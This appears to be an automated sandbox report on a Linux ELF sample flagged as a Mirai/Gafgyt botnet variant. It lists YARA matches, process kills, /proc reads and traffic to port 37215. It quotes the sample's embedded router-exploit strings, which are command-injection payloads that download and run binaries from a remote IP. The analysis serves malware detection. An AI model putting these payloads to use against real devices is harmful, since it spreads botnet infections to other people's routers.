Source: unknown	Network traffic detected: HTTP traffic on port 58334 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59524 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 35546
Source: unknown	Network traffic detected: HTTP traffic on port 55030 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55068
Source: unknown	Network traffic detected: HTTP traffic on port 45080 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 20641

System Summary

Malicious sample detected (through community Yara rule)

Source: 9zldYT23H2.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_ea92cca8 Author: unknown
Source: 9zldYT23H2.elf, type: SAMPLE	Matched rule: Detects ELF Mirai variant Author: Florian Roth
Source: 9zldYT23H2.elf, type: SAMPLE	Matched rule: Detects ELF malware Mirai related Author: Florian Roth
Source: 5530.1.00007f380c011000.00007f380c026000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_ea92cca8 Author: unknown
Source: 5530.1.00007f380c011000.00007f380c026000.r-x.sdmp, type: MEMORY	Matched rule: Detects ELF Mirai variant Author: Florian Roth
Source: 5530.1.00007f380c011000.00007f380c026000.r-x.sdmp, type: MEMORY	Matched rule: Detects ELF malware Mirai related Author: Florian Roth
Source: 5534.1.00007f380c011000.00007f380c026000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_ea92cca8 Author: unknown
Source: 5534.1.00007f380c011000.00007f380c026000.r-x.sdmp, type: MEMORY	Matched rule: Detects ELF Mirai variant Author: Florian Roth
Source: 5534.1.00007f380c011000.00007f380c026000.r-x.sdmp, type: MEMORY	Matched rule: Detects ELF malware Mirai related Author: Florian Roth
Source: Process Memory Space: 9zldYT23H2.elf PID: 5530, type: MEMORYSTR	Matched rule: Linux_Trojan_Gafgyt_ea92cca8 Author: unknown
Source: Process Memory Space: 9zldYT23H2.elf PID: 5534, type: MEMORYSTR	Matched rule: Linux_Trojan_Gafgyt_ea92cca8 Author: unknown

Sample tries to kill multiple processes (SIGKILL)

Source: /tmp/9zldYT23H2.elf (PID: 5543)	SIGKILL sent: pid: 3129, result: successful	Jump to behavior
Source: /tmp/9zldYT23H2.elf (PID: 5543)	SIGKILL sent: pid: 3184, result: successful	Jump to behavior
Source: /tmp/9zldYT23H2.elf (PID: 5543)	SIGKILL sent: pid: 3187, result: successful	Jump to behavior
Source: /tmp/9zldYT23H2.elf (PID: 5543)	SIGKILL sent: pid: 3188, result: successful	Jump to behavior
Source: /tmp/9zldYT23H2.elf (PID: 5543)	SIGKILL sent: pid: 3189, result: successful	Jump to behavior
Source: /tmp/9zldYT23H2.elf (PID: 5543)	SIGKILL sent: pid: 3190, result: successful	Jump to behavior
Source: /tmp/9zldYT23H2.elf (PID: 5543)	SIGKILL sent: pid: 3193, result: successful	Jump to behavior
Source: /tmp/9zldYT23H2.elf (PID: 5543)	SIGKILL sent: pid: 3207, result: successful	Jump to behavior
Source: /tmp/9zldYT23H2.elf (PID: 5543)	SIGKILL sent: pid: 3215, result: successful	Jump to behavior
Source: /tmp/9zldYT23H2.elf (PID: 5543)	SIGKILL sent: pid: 5547, result: successful	Jump to behavior
Source: /tmp/9zldYT23H2.elf (PID: 5543)	SIGKILL sent: pid: 5548, result: successful	Jump to behavior
Source: /tmp/9zldYT23H2.elf (PID: 5543)	SIGKILL sent: pid: 5549, result: successful	Jump to behavior
Source: /tmp/9zldYT23H2.elf (PID: 5543)	SIGKILL sent: pid: 5550, result: successful	Jump to behavior
Source: /tmp/9zldYT23H2.elf (PID: 5543)	SIGKILL sent: pid: 5551, result: successful	Jump to behavior
Source: /tmp/9zldYT23H2.elf (PID: 5543)	SIGKILL sent: pid: 5552, result: successful	Jump to behavior

Source: Initial sample	String containing 'busybox' found: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://172.236.29.44/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0
Source: Initial sample	String containing 'busybox' found: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 172.236.29.44 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: Initial sample	String containing 'busybox' found: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://172.236.29.44/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0+h+dPOST /ctrlt/DeviceUpgrade_1 HTTP/1.1

Source: ELF static info symbol of initial sample

.symtab present: no

Source: /tmp/9zldYT23H2.elf (PID: 5543)	SIGKILL sent: pid: 3129, result: successful	Jump to behavior
Source: /tmp/9zldYT23H2.elf (PID: 5543)	SIGKILL sent: pid: 3184, result: successful	Jump to behavior
Source: /tmp/9zldYT23H2.elf (PID: 5543)	SIGKILL sent: pid: 3187, result: successful	Jump to behavior
Source: /tmp/9zldYT23H2.elf (PID: 5543)	SIGKILL sent: pid: 3188, result: successful	Jump to behavior
Source: /tmp/9zldYT23H2.elf (PID: 5543)	SIGKILL sent: pid: 3189, result: successful	Jump to behavior
Source: /tmp/9zldYT23H2.elf (PID: 5543)	SIGKILL sent: pid: 3190, result: successful	Jump to behavior
Source: /tmp/9zldYT23H2.elf (PID: 5543)	SIGKILL sent: pid: 3193, result: successful	Jump to behavior
Source: /tmp/9zldYT23H2.elf (PID: 5543)	SIGKILL sent: pid: 3207, result: successful	Jump to behavior
Source: /tmp/9zldYT23H2.elf (PID: 5543)	SIGKILL sent: pid: 3215, result: successful	Jump to behavior
Source: /tmp/9zldYT23H2.elf (PID: 5543)	SIGKILL sent: pid: 5547, result: successful	Jump to behavior
Source: /tmp/9zldYT23H2.elf (PID: 5543)	SIGKILL sent: pid: 5548, result: successful	Jump to behavior
Source: /tmp/9zldYT23H2.elf (PID: 5543)	SIGKILL sent: pid: 5549, result: successful	Jump to behavior
Source: /tmp/9zldYT23H2.elf (PID: 5543)	SIGKILL sent: pid: 5550, result: successful	Jump to behavior
Source: /tmp/9zldYT23H2.elf (PID: 5543)	SIGKILL sent: pid: 5551, result: successful	Jump to behavior
Source: /tmp/9zldYT23H2.elf (PID: 5543)	SIGKILL sent: pid: 5552, result: successful	Jump to behavior

Source: 9zldYT23H2.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_ea92cca8 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = aa4aee9f3d6bedd8234eaf8778895a0f5d71c42b21f2a428f01f121e85704e8e, id = ea92cca8-bba7-4a1c-9b88-a2d051ad0021, last_modified = 2021-09-16
Source: 9zldYT23H2.elf, type: SAMPLE	Matched rule: MAL_ELF_LNX_Mirai_Oct10_1 date = 2018-10-27, hash1 = 3be2d250a3922aa3f784e232ce13135f587ac713b55da72ef844d64a508ddcfe, author = Florian Roth, description = Detects ELF Mirai variant, reference = Internal Research
Source: 9zldYT23H2.elf, type: SAMPLE	Matched rule: MAL_ELF_LNX_Mirai_Oct10_2 date = 2018-10-27, hash1 = fa0018e75f503f9748a5de0d14d4358db234f65e28c31c8d5878cc58807081c9, author = Florian Roth, description = Detects ELF malware Mirai related, reference = Internal Research
Source: 5530.1.00007f380c011000.00007f380c026000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_ea92cca8 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = aa4aee9f3d6bedd8234eaf8778895a0f5d71c42b21f2a428f01f121e85704e8e, id = ea92cca8-bba7-4a1c-9b88-a2d051ad0021, last_modified = 2021-09-16
Source: 5530.1.00007f380c011000.00007f380c026000.r-x.sdmp, type: MEMORY	Matched rule: MAL_ELF_LNX_Mirai_Oct10_1 date = 2018-10-27, hash1 = 3be2d250a3922aa3f784e232ce13135f587ac713b55da72ef844d64a508ddcfe, author = Florian Roth, description = Detects ELF Mirai variant, reference = Internal Research
Source: 5530.1.00007f380c011000.00007f380c026000.r-x.sdmp, type: MEMORY	Matched rule: MAL_ELF_LNX_Mirai_Oct10_2 date = 2018-10-27, hash1 = fa0018e75f503f9748a5de0d14d4358db234f65e28c31c8d5878cc58807081c9, author = Florian Roth, description = Detects ELF malware Mirai related, reference = Internal Research
Source: 5534.1.00007f380c011000.00007f380c026000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_ea92cca8 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = aa4aee9f3d6bedd8234eaf8778895a0f5d71c42b21f2a428f01f121e85704e8e, id = ea92cca8-bba7-4a1c-9b88-a2d051ad0021, last_modified = 2021-09-16
Source: 5534.1.00007f380c011000.00007f380c026000.r-x.sdmp, type: MEMORY	Matched rule: MAL_ELF_LNX_Mirai_Oct10_1 date = 2018-10-27, hash1 = 3be2d250a3922aa3f784e232ce13135f587ac713b55da72ef844d64a508ddcfe, author = Florian Roth, description = Detects ELF Mirai variant, reference = Internal Research
Source: 5534.1.00007f380c011000.00007f380c026000.r-x.sdmp, type: MEMORY	Matched rule: MAL_ELF_LNX_Mirai_Oct10_2 date = 2018-10-27, hash1 = fa0018e75f503f9748a5de0d14d4358db234f65e28c31c8d5878cc58807081c9, author = Florian Roth, description = Detects ELF malware Mirai related, reference = Internal Research
Source: Process Memory Space: 9zldYT23H2.elf PID: 5530, type: MEMORYSTR	Matched rule: Linux_Trojan_Gafgyt_ea92cca8 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = aa4aee9f3d6bedd8234eaf8778895a0f5d71c42b21f2a428f01f121e85704e8e, id = ea92cca8-bba7-4a1c-9b88-a2d051ad0021, last_modified = 2021-09-16
Source: Process Memory Space: 9zldYT23H2.elf PID: 5534, type: MEMORYSTR	Matched rule: Linux_Trojan_Gafgyt_ea92cca8 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = aa4aee9f3d6bedd8234eaf8778895a0f5d71c42b21f2a428f01f121e85704e8e, id = ea92cca8-bba7-4a1c-9b88-a2d051ad0021, last_modified = 2021-09-16

Source: classification engine

Classification label: mal100.spre.troj.linELF@0/0@24/0

Source: /tmp/9zldYT23H2.elf (PID: 5543)	File opened: /proc/5541/cmdline	Jump to behavior
Source: /tmp/9zldYT23H2.elf (PID: 5543)	File opened: /proc/3760/cmdline	Jump to behavior
Source: /tmp/9zldYT23H2.elf (PID: 5543)	File opened: /proc/5542/cmdline	Jump to behavior
Source: /tmp/9zldYT23H2.elf (PID: 5543)	File opened: /proc/3761/cmdline	Jump to behavior
Source: /tmp/9zldYT23H2.elf (PID: 5543)	File opened: /proc/2672/cmdline	Jump to behavior
Source: /tmp/9zldYT23H2.elf (PID: 5543)	File opened: /proc/1583/cmdline	Jump to behavior
Source: /tmp/9zldYT23H2.elf (PID: 5543)	File opened: /proc/3244/cmdline	Jump to behavior
Source: /tmp/9zldYT23H2.elf (PID: 5543)	File opened: /proc/3120/cmdline	Jump to behavior
Source: /tmp/9zldYT23H2.elf (PID: 5543)	File opened: /proc/3361/cmdline	Jump to behavior
Source: /tmp/9zldYT23H2.elf (PID: 5543)	File opened: /proc/3239/cmdline	Jump to behavior
Source: /tmp/9zldYT23H2.elf (PID: 5543)	File opened: /proc/1577/cmdline	Jump to behavior
Source: /tmp/9zldYT23H2.elf (PID: 5543)	File opened: /proc/1610/cmdline	Jump to behavior
Source: /tmp/9zldYT23H2.elf (PID: 5543)	File opened: /proc/512/cmdline	Jump to behavior
Source: /tmp/9zldYT23H2.elf (PID: 5543)	File opened: /proc/1299/cmdline	Jump to behavior
Source: /tmp/9zldYT23H2.elf (PID: 5543)	File opened: /proc/3235/cmdline	Jump to behavior
Source: /tmp/9zldYT23H2.elf (PID: 5543)	File opened: /proc/514/cmdline	Jump to behavior
Source: /tmp/9zldYT23H2.elf (PID: 5543)	File opened: /proc/5534/cmdline	Jump to behavior
Source: /tmp/9zldYT23H2.elf (PID: 5543)	File opened: /proc/5535/cmdline	Jump to behavior
Source: /tmp/9zldYT23H2.elf (PID: 5543)	File opened: /proc/5537/cmdline	Jump to behavior
Source: /tmp/9zldYT23H2.elf (PID: 5543)	File opened: /proc/519/cmdline	Jump to behavior
Source: /tmp/9zldYT23H2.elf (PID: 5543)	File opened: /proc/2946/cmdline	Jump to behavior
Source: /tmp/9zldYT23H2.elf (PID: 5543)	File opened: /proc/5539/cmdline	Jump to behavior
Source: /tmp/9zldYT23H2.elf (PID: 5543)	File opened: /proc/917/cmdline	Jump to behavior
Source: /tmp/9zldYT23H2.elf (PID: 5543)	File opened: /proc/5550/cmdline	Jump to behavior
Source: /tmp/9zldYT23H2.elf (PID: 5543)	File opened: /proc/5551/cmdline	Jump to behavior
Source: /tmp/9zldYT23H2.elf (PID: 5543)	File opened: /proc/5552/cmdline	Jump to behavior
Source: /tmp/9zldYT23H2.elf (PID: 5543)	File opened: /proc/3134/cmdline	Jump to behavior
Source: /tmp/9zldYT23H2.elf (PID: 5543)	File opened: /proc/1593/cmdline	Jump to behavior
Source: /tmp/9zldYT23H2.elf (PID: 5543)	File opened: /proc/3011/cmdline	Jump to behavior
Source: /tmp/9zldYT23H2.elf (PID: 5543)	File opened: /proc/3094/cmdline	Jump to behavior
Source: /tmp/9zldYT23H2.elf (PID: 5543)	File opened: /proc/2955/cmdline	Jump to behavior
Source: /tmp/9zldYT23H2.elf (PID: 5543)	File opened: /proc/3406/cmdline	Jump to behavior
Source: /tmp/9zldYT23H2.elf (PID: 5543)	File opened: /proc/1589/cmdline	Jump to behavior
Source: /tmp/9zldYT23H2.elf (PID: 5543)	File opened: /proc/3129/cmdline	Jump to behavior
Source: /tmp/9zldYT23H2.elf (PID: 5543)	File opened: /proc/1588/cmdline	Jump to behavior
Source: /tmp/9zldYT23H2.elf (PID: 5543)	File opened: /proc/3402/cmdline	Jump to behavior
Source: /tmp/9zldYT23H2.elf (PID: 5543)	File opened: /proc/3125/cmdline	Jump to behavior
Source: /tmp/9zldYT23H2.elf (PID: 5543)	File opened: /proc/3246/cmdline	Jump to behavior
Source: /tmp/9zldYT23H2.elf (PID: 5543)	File opened: /proc/3245/cmdline	Jump to behavior
Source: /tmp/9zldYT23H2.elf (PID: 5543)	File opened: /proc/767/cmdline	Jump to behavior
Source: /tmp/9zldYT23H2.elf (PID: 5543)	File opened: /proc/800/cmdline	Jump to behavior
Source: /tmp/9zldYT23H2.elf (PID: 5543)	File opened: /proc/888/cmdline	Jump to behavior
Source: /tmp/9zldYT23H2.elf (PID: 5543)	File opened: /proc/3762/cmdline	Jump to behavior
Source: /tmp/9zldYT23H2.elf (PID: 5543)	File opened: /proc/801/cmdline	Jump to behavior
Source: /tmp/9zldYT23H2.elf (PID: 5543)	File opened: /proc/3763/cmdline	Jump to behavior
Source: /tmp/9zldYT23H2.elf (PID: 5543)	File opened: /proc/769/cmdline	Jump to behavior
Source: /tmp/9zldYT23H2.elf (PID: 5543)	File opened: /proc/803/cmdline	Jump to behavior
Source: /tmp/9zldYT23H2.elf (PID: 5543)	File opened: /proc/5547/cmdline	Jump to behavior
Source: /tmp/9zldYT23H2.elf (PID: 5543)	File opened: /proc/5548/cmdline	Jump to behavior
Source: /tmp/9zldYT23H2.elf (PID: 5543)	File opened: /proc/5549/cmdline	Jump to behavior
Source: /tmp/9zldYT23H2.elf (PID: 5543)	File opened: /proc/806/cmdline	Jump to behavior
Source: /tmp/9zldYT23H2.elf (PID: 5543)	File opened: /proc/807/cmdline	Jump to behavior
Source: /tmp/9zldYT23H2.elf (PID: 5543)	File opened: /proc/928/cmdline	Jump to behavior
Source: /tmp/9zldYT23H2.elf (PID: 5543)	File opened: /proc/2956/cmdline	Jump to behavior
Source: /tmp/9zldYT23H2.elf (PID: 5543)	File opened: /proc/3420/cmdline	Jump to behavior
Source: /tmp/9zldYT23H2.elf (PID: 5543)	File opened: /proc/490/cmdline	Jump to behavior
Source: /tmp/9zldYT23H2.elf (PID: 5543)	File opened: /proc/3142/cmdline	Jump to behavior
Source: /tmp/9zldYT23H2.elf (PID: 5543)	File opened: /proc/1635/cmdline	Jump to behavior
Source: /tmp/9zldYT23H2.elf (PID: 5543)	File opened: /proc/1633/cmdline	Jump to behavior
Source: /tmp/9zldYT23H2.elf (PID: 5543)	File opened: /proc/1599/cmdline	Jump to behavior
Source: /tmp/9zldYT23H2.elf (PID: 5543)	File opened: /proc/3139/cmdline	Jump to behavior
Source: /tmp/9zldYT23H2.elf (PID: 5543)	File opened: /proc/1873/cmdline	Jump to behavior
Source: /tmp/9zldYT23H2.elf (PID: 5543)	File opened: /proc/1630/cmdline	Jump to behavior
Source: /tmp/9zldYT23H2.elf (PID: 5543)	File opened: /proc/3412/cmdline	Jump to behavior
Source: /tmp/9zldYT23H2.elf (PID: 5543)	File opened: /proc/657/cmdline	Jump to behavior
Source: /tmp/9zldYT23H2.elf (PID: 5543)	File opened: /proc/658/cmdline	Jump to behavior
Source: /tmp/9zldYT23H2.elf (PID: 5543)	File opened: /proc/659/cmdline	Jump to behavior
Source: /tmp/9zldYT23H2.elf (PID: 5543)	File opened: /proc/418/cmdline	Jump to behavior
Source: /tmp/9zldYT23H2.elf (PID: 5543)	File opened: /proc/419/cmdline	Jump to behavior
Source: /tmp/9zldYT23H2.elf (PID: 5543)	File opened: /proc/1639/cmdline	Jump to behavior
Source: /tmp/9zldYT23H2.elf (PID: 5543)	File opened: /proc/1638/cmdline	Jump to behavior
Source: /tmp/9zldYT23H2.elf (PID: 5543)	File opened: /proc/3398/cmdline	Jump to behavior
Source: /tmp/9zldYT23H2.elf (PID: 5543)	File opened: /proc/1371/cmdline	Jump to behavior
Source: /tmp/9zldYT23H2.elf (PID: 5543)	File opened: /proc/3392/cmdline	Jump to behavior
Source: /tmp/9zldYT23H2.elf (PID: 5543)	File opened: /proc/780/cmdline	Jump to behavior
Source: /tmp/9zldYT23H2.elf (PID: 5543)	File opened: /proc/660/cmdline	Jump to behavior
Source: /tmp/9zldYT23H2.elf (PID: 5543)	File opened: /proc/661/cmdline	Jump to behavior
Source: /tmp/9zldYT23H2.elf (PID: 5543)	File opened: /proc/782/cmdline	Jump to behavior
Source: /tmp/9zldYT23H2.elf (PID: 5543)	File opened: /proc/1369/cmdline	Jump to behavior
Source: /tmp/9zldYT23H2.elf (PID: 5543)	File opened: /proc/3304/cmdline	Jump to behavior
Source: /tmp/9zldYT23H2.elf (PID: 5543)	File opened: /proc/3425/cmdline	Jump to behavior
Source: /tmp/9zldYT23H2.elf (PID: 5543)	File opened: /proc/785/cmdline	Jump to behavior
Source: /tmp/9zldYT23H2.elf (PID: 5543)	File opened: /proc/1642/cmdline	Jump to behavior
Source: /tmp/9zldYT23H2.elf (PID: 5543)	File opened: /proc/940/cmdline	Jump to behavior
Source: /tmp/9zldYT23H2.elf (PID: 5543)	File opened: /proc/941/cmdline	Jump to behavior
Source: /tmp/9zldYT23H2.elf (PID: 5543)	File opened: /proc/1640/cmdline	Jump to behavior
Source: /tmp/9zldYT23H2.elf (PID: 5543)	File opened: /proc/3147/cmdline	Jump to behavior
Source: /tmp/9zldYT23H2.elf (PID: 5543)	File opened: /proc/3268/cmdline	Jump to behavior
Source: /tmp/9zldYT23H2.elf (PID: 5543)	File opened: /proc/1364/cmdline	Jump to behavior
Source: /tmp/9zldYT23H2.elf (PID: 5543)	File opened: /proc/548/cmdline	Jump to behavior
Source: /tmp/9zldYT23H2.elf (PID: 5543)	File opened: /proc/3665/cmdline	Jump to behavior
Source: /tmp/9zldYT23H2.elf (PID: 5543)	File opened: /proc/1647/cmdline	Jump to behavior
Source: /tmp/9zldYT23H2.elf (PID: 5543)	File opened: /proc/2991/cmdline	Jump to behavior
Source: /tmp/9zldYT23H2.elf (PID: 5543)	File opened: /proc/1383/cmdline	Jump to behavior
Source: /tmp/9zldYT23H2.elf (PID: 5543)	File opened: /proc/1382/cmdline	Jump to behavior
Source: /tmp/9zldYT23H2.elf (PID: 5543)	File opened: /proc/1381/cmdline	Jump to behavior
Source: /tmp/9zldYT23H2.elf (PID: 5543)	File opened: /proc/791/cmdline	Jump to behavior
Source: /tmp/9zldYT23H2.elf (PID: 5543)	File opened: /proc/671/cmdline	Jump to behavior
Source: /tmp/9zldYT23H2.elf (PID: 5543)	File opened: /proc/794/cmdline	Jump to behavior
Source: /tmp/9zldYT23H2.elf (PID: 5543)	File opened: /proc/1655/cmdline	Jump to behavior
Source: /tmp/9zldYT23H2.elf (PID: 5543)	File opened: /proc/2986/cmdline	Jump to behavior
Source: /tmp/9zldYT23H2.elf (PID: 5543)	File opened: /proc/795/cmdline	Jump to behavior
Source: /tmp/9zldYT23H2.elf (PID: 5543)	File opened: /proc/674/cmdline	Jump to behavior
Source: /tmp/9zldYT23H2.elf (PID: 5543)	File opened: /proc/1653/cmdline	Jump to behavior
Source: /tmp/9zldYT23H2.elf (PID: 5543)	File opened: /proc/797/cmdline	Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 37682 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53766 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51388 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58860 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37498 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56690 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55716 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45386 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36726 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45456 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42374 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36896 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35076 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58904 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50872 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34862 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50758 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57766 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58144 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42258 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33444 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38798 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56320 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57408 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58236 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53530 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54330 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51026 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51174 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59176 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54646 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47832 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41126 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34770 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47740 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52128 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43276 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56800 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54266 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40760 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51690 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48420 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34518 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51458 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51250 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50110 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42090 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46164 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60010 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57582 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54564 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52572 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37182 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40402 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43480 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36972 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37294 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42004 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55764 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59196 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48128 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43442 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33508 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49846 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50496 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43582 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42138 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47872 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48352 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59662 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46866 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56732 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39356 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47224 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56810 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48180 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39894 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58188 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44458 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33094 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39080 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39112 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51598 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54736 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55952 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46318 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60716 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53532 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41052 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37684 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56562 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41098 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46840 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59534 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50266 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50814 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45798 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48418 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39806 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35074 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44500 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37564 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44430 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41062 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36384 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60390 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36192 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50022 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48596 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53590 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47952 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39130 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56960 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36710 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52836 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42656 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39144 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36564 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57104 -> 37215
